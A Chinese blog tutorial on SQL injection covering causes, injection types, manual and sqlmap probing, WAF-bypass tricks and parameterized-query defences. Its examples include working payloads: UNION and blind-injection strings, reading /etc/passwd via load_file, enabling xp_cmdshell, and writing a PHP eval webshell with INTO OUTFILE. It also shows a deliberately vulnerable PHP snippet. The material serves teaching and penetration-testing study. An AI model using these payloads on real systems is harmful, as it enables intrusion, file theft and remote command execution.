SQL注入漏洞详解:从原理到绕过,看这一篇就够了

SQL注入漏洞详解:从原理到绕过,看这一篇就够了

作者:浅木·先生


前言

SQL注入能成为Web安全十大漏洞之首,不是因为它复杂,恰恰是因为它太简单了——一个单引号就能触发,大量应用存在,危害却极大。直接会导致数据库数据泄露,严重时甚至能靠into outfile直接getshell。

本文系统讲解SQL注入的成因、分类、探测方法、绕过技巧和防御方案,帮你从原理到实战全面掌握这个最常见的Web漏洞。


一、SQL注入的原理

1.1 什么是SQL注入

SQL注入(SQL Injection)是指Web应用程序将用户输入的参数,直接拼接到SQL语句中执行,导致攻击者能够通过构造恶意输入,改变原本SQL语句的逻辑,执行任意SQL命令。

一个经典的漏洞代码示例:

// PHP,模拟存在SQL注入的代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

正常的请求:?id=5 → 执行 SELECT * FROM users WHERE id = 5

恶意构造:?id=5 UNION SELECT 1,2,3,4 from admin-- → SQL语句被篡改

1.2 为什么会出现SQL注入

核心原因只有一个:用户输入没有被当作数据处理,而是被当作SQL语句的一部分执行。

防护措施说明
未使用参数化查询直接拼接用户输入到SQL语句
未严格类型限制数字型参数没有做intval过滤
未做输入校验单引号/括号等特殊字符未被转义
数据库权限过大应用数据库使用了DBA甚至root权限

二、SQL注入的分类

2.1 按注入点位置分类

类型说明示例
GET注入参数在URL中news.php?id=1
POST注入参数在请求体中登录表单
Cookie注入参数在Cookie中修改Cookie中的用户ID
Header注入参数在HTTP头中X-Forwarded-For、User-Agent
二次注入先存储后执行注册时写入恶意字符,登录后触发

2.2 按返回信息分类

类型注入手法前提条件
回显型注入(Union)通过union显示注入的数据页面有回显位
报错注入通过数据库报错信息返回数据页面显示数据库错误
布尔盲注通过页面真假判断数据页面没有回显,但有差异化响应
时间盲注通过延时函数判断数据页面无论真假都相同
堆叠注入用分号执行多条SQL需支持多语句执行

2.3 按数据类型分类

类型示例判断方法
数字型id=1id=1 and 1=1id=1 and 1=2 区别
字符型name='test'单引号是否引发报错
搜索型keyword LIKE '%test%'加通配符测试

三、SQL注入探测方法

3.1 手动探测

第一步:判断注入点类型

# 数字型测试
?id=1 and 1=1      # 正常
?id=1 and 1=2      # 异常 → 存在注入

# 字符型测试
?name=test'        # 报错/异常 → 存在注入
?name=test' and '1'='1  # 正常
?name=test' and '1'='2  # 异常

# 搜索型测试
?keyword=test'    # 报错
?keyword=test%' and 1=1 and '%'='  # 正常

第二步:判断字段数

 ORDER BY 1--
 ORDER BY 2--
 ORDER BY 3--
-- 直到报错,前一个数字就是字段数

第三步:UNION联合查询

 UNION SELECT 1,2,3,4--
 UNION SELECT NULL,NULL,NULL,NULL--
-- 找到显示位后替换为注入语句

3.2 自动化探测工具

# SQLMap基本使用
sqlmap -u "http://target.com/news.php?id=1" --batch
sqlmap -u "http://target.com/news.php?id=1" --dbs        # 枚举数据库
sqlmap -u "http://target.com/news.php?id=1" --tables     # 枚举表
sqlmap -u "http://target.com/news.php?id=1" -D dbname -T users --columns  # 枚举字段
sqlmap -u "http://target.com/news.php?id=1" -D dbname -T users -C username,password --dump  # 导出数据

# POST注入
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"

# Cookie注入
sqlmap -u "http://target.com/" --cookie="PHPSESSID=xxx" --batch

# 延时盲注(时间盲注)
sqlmap -u "http://target.com/news.php?id=1" --time-sec=5 --batch

四、主流数据库注入语法

4.1 MySQL注入

-- 查数据库版本
UNION SELECT 1,@@version,3,4--

-- 查当前数据库
UNION SELECT 1,database(),3,4--

-- 查所有数据库
UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata--

-- 查当前用户
UNION SELECT 1,user(),3,4--

-- 读写文件(需要FILE权限和物理路径)
UNION SELECT 1,2,load_file('/etc/passwd'),4--
UNION SELECT 1,2,'test',4 INTO OUTFILE '/var/www/html/shell.php'--

MySQL常用函数:

  • sleep(N) - 延时N秒
  • if(condition, value1, value2) - 条件判断
  • substring(str, pos, len) - 字符串截取
  • ascii(substr()) - 取字符ASCII值
  • ord() - 取字符ASCII值(MySQL5+)

4.2 SQL Server注入

-- 查版本
 UNION SELECT 1,@@version,3,4--

-- 查表
 UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--

-- 开启xp_cmdshell(高权限)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

4.3 Oracle注入

-- 查表(需要管理员权限或特定条件)
 UNION SELECT 1,table_name,3 FROM user_tables--

-- 查字段
 UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='ADMIN'--

五、SQL注入高级绕过技巧

5.1 绕过WAF的基本思路

WAF(Web应用防火墙)主要通过正则匹配检测恶意SQL特征。绕过思路是改变特征表达方式而不改变语义

5.2 常见绕过手法

1. 大小写混合

UnIoN SeLeCt 1,2,3,4--

2. 双写绕过

UNIunionON SELECselectT 1,2,3,4--
# 中间被WAF删除后剩下UNION SELECT

3. URL编码绕过

# 单引号URL编码
' → %27
空格 → %20
注释符 → %2d%2d

4. 注释符干扰

UNION/**/SELECT 1,2,3,4--
UNION/*!select*/ 1,2,3,4--
/!*50001select*/ 1,2,3,4--   # MySQL版本号>50001才执行

5. 替换关键词

UNIONUNION ALL
AND&&  或者 AND%
OR||  或者 OR%
SELECTSeLeCt

6. 宽字节注入

# GBK编码环境下,单引号前加%df
?id=1%df' union select 1,2,3,4--
# %df\' → 变成有效汉字,逃过单引号转义

7. 数字代替字符串

# 绕过单引号限制
username = admin' or '1'='1
# 改成
username = 1 or 1=1
# 配合ASCII码
username = 1 or ascii(substr((select password from admin),1,1))=49

8. HPP(HTTP参数污染)

# 同一参数出现多次,不同WAF处理方式不同
id=1&id=union select 1,2,3,4--

5.3 时间盲注高级写法

# MySQL时间盲注
IF(SUBSTRING((SELECT password FROM admin WHERE id=1),1,1)='a',SLEEP(3),0)

# 不用SLEEP,用BENCHMARK
IF(SUBSTRING((SELECT password FROM admin WHERE id=1),1,1)='a',BENCHMARK(50000000,CHAR(1)),0)

六、SQL注入实战利用链

6.1 从注入到Webshell

-- 步骤1:确定字段数
news.php?id=1 ORDER BY 5  # 正常
news.php?id=1 ORDER BY 6  # 报错 → 5个字段

-- 步骤2:找到显示位
news.php?id=-1 UNION SELECT 1,2,3,4,5--

-- 步骤3:读取物理路径
news.php?id=-1 UNION SELECT 1,@@datadir,3,4,5--

-- 步骤4:写入Webshell
news.php?id=-1 UNION SELECT 1,2,'<?php eval($_POST[cmd]);?>',4,5 INTO OUTFILE '/var/www/html/shell.php'--

6.2 报错注入获取数据

-- MySQL经典报错注入
EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))

-- 构造报错
news.php?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM admin LIMIT 1),0x7e))

七、SQL注入防御方案

7.1 代码层面防护

使用参数化查询(最佳方案):

// PHP参数化查询
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
// Java参数化查询
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ResultSet rs = ps.executeQuery();
# Python参数化查询
cursor.execute("SELECT * FROM users WHERE id = %s", (id,))

7.2 数据库层面防护

-- 应用账号不要用root,禁止DBA权限
-- 限制into outfile等危险函数
-- 限制文件写入路径

7.3 Web层面防护

  • 输入过滤: 单引号、双引号、括号、分号等特殊字符转义
  • WAF部署: 阿里云盾、安全狗、D盾等
  • 预编译: 强制使用参数化查询
  • 错误信息: 关闭详细报错,统一返回500页面

总结

SQL注入的核心是用户输入没有被当作数据处理。防护的核心只有一条:使用参数化查询,不做字符串拼接。

在实际渗透测试中,判断注入点、选择合适的注入手法、利用报错或盲注获取数据,这三步走是最关键的技能。多练习、多实战,积累绕过WAF的经验,这个漏洞并不难拿高分。


关于作者

作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。

如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈 浅木·先生

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值